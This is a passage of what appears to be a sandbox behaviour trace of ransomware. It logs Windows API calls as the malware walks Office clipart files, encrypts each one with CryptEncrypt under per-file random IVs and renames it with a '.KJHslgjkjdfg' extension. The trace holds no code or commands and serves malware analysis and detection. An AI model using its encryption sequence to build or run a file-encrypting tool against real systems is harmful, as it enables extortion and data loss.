lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.188] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.188] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.188] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.188] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2044, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2044, lpOverlapped=0x0) returned 1 [0173.189] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2050, dwBufLen=0x2050 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2050) returned 1 [0173.190] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.190] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2050, lpOverlapped=0x0) returned 1 [0173.190] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.190] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.190] SetEndOfFile (hFile=0x114) returned 1 [0173.192] GetProcessHeap () returned 0x2a0000 [0173.192] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.192] GetProcessHeap () returned 0x2a0000 [0173.192] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.193] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf.kjhslgjkjdfg")) returned 1 [0173.194] CloseHandle (hObject=0x114) returned 1 [0173.194] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107724.WMF", cAlternateFileName="")) returned 1 [0173.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.195] GetProcessHeap () returned 0x2a0000 [0173.195] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.195] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.195] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.195] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.198] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.198] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.198] GetProcessHeap () returned 0x2a0000 [0173.198] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.198] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.198] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.198] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.199] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.199] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.199] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.199] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.199] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.199] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.199] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.199] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.199] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1b68, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1b68, lpOverlapped=0x0) returned 1 [0173.200] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b70, dwBufLen=0x1b70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b70) returned 1 [0173.200] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.200] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1b70, lpOverlapped=0x0) returned 1 [0173.200] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.200] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1c44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.200] SetEndOfFile (hFile=0x114) returned 1 [0173.203] GetProcessHeap () returned 0x2a0000 [0173.203] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.203] GetProcessHeap () returned 0x2a0000 [0173.203] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.203] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf.kjhslgjkjdfg")) returned 1 [0173.205] CloseHandle (hObject=0x114) returned 1 [0173.205] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1574, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107728.WMF", cAlternateFileName="")) returned 1 [0173.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.206] GetProcessHeap () returned 0x2a0000 [0173.206] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.206] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.206] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.206] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0173.213] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.213] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.213] GetProcessHeap () returned 0x2a0000 [0173.213] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.213] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.213] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.213] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.213] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.213] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.213] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.214] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.214] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.214] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.214] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.214] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.214] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1574, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1574, lpOverlapped=0x0) returned 1 [0173.216] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1580, dwBufLen=0x1580 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1580) returned 1 [0173.216] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.217] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1580, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1580, lpOverlapped=0x0) returned 1 [0173.217] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.217] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.217] SetEndOfFile (hFile=0x114) returned 1 [0173.220] GetProcessHeap () returned 0x2a0000 [0173.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.220] GetProcessHeap () returned 0x2a0000 [0173.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.220] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf.kjhslgjkjdfg")) returned 1 [0173.221] CloseHandle (hObject=0x114) returned 1 [0173.221] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbf4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107730.WMF", cAlternateFileName="")) returned 1 [0173.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.223] GetProcessHeap () returned 0x2a0000 [0173.223] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.223] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.223] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.223] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0173.225] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.225] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.225] GetProcessHeap () returned 0x2a0000 [0173.225] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.225] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.225] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.225] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.226] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.226] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.226] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.226] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.226] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.226] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.226] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.226] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.226] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xbf4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xbf4, lpOverlapped=0x0) returned 1 [0173.226] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc00, dwBufLen=0xc00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc00) returned 1 [0173.226] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.226] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xc00, lpOverlapped=0x0) returned 1 [0173.226] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.226] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xcd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.227] SetEndOfFile (hFile=0x114) returned 1 [0173.229] GetProcessHeap () returned 0x2a0000 [0173.229] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.229] GetProcessHeap () returned 0x2a0000 [0173.229] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.229] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf.kjhslgjkjdfg")) returned 1 [0173.230] CloseHandle (hObject=0x114) returned 1 [0173.230] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107734.WMF", cAlternateFileName="")) returned 1 [0173.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.231] GetProcessHeap () returned 0x2a0000 [0173.231] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.231] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.231] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.231] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0173.234] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.234] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.234] GetProcessHeap () returned 0x2a0000 [0173.234] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.234] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.234] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.234] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.234] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.234] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.234] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.234] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.235] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.235] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.235] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.235] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.235] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xc44, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xc44, lpOverlapped=0x0) returned 1 [0173.235] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc50, dwBufLen=0xc50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc50) returned 1 [0173.235] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.235] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, 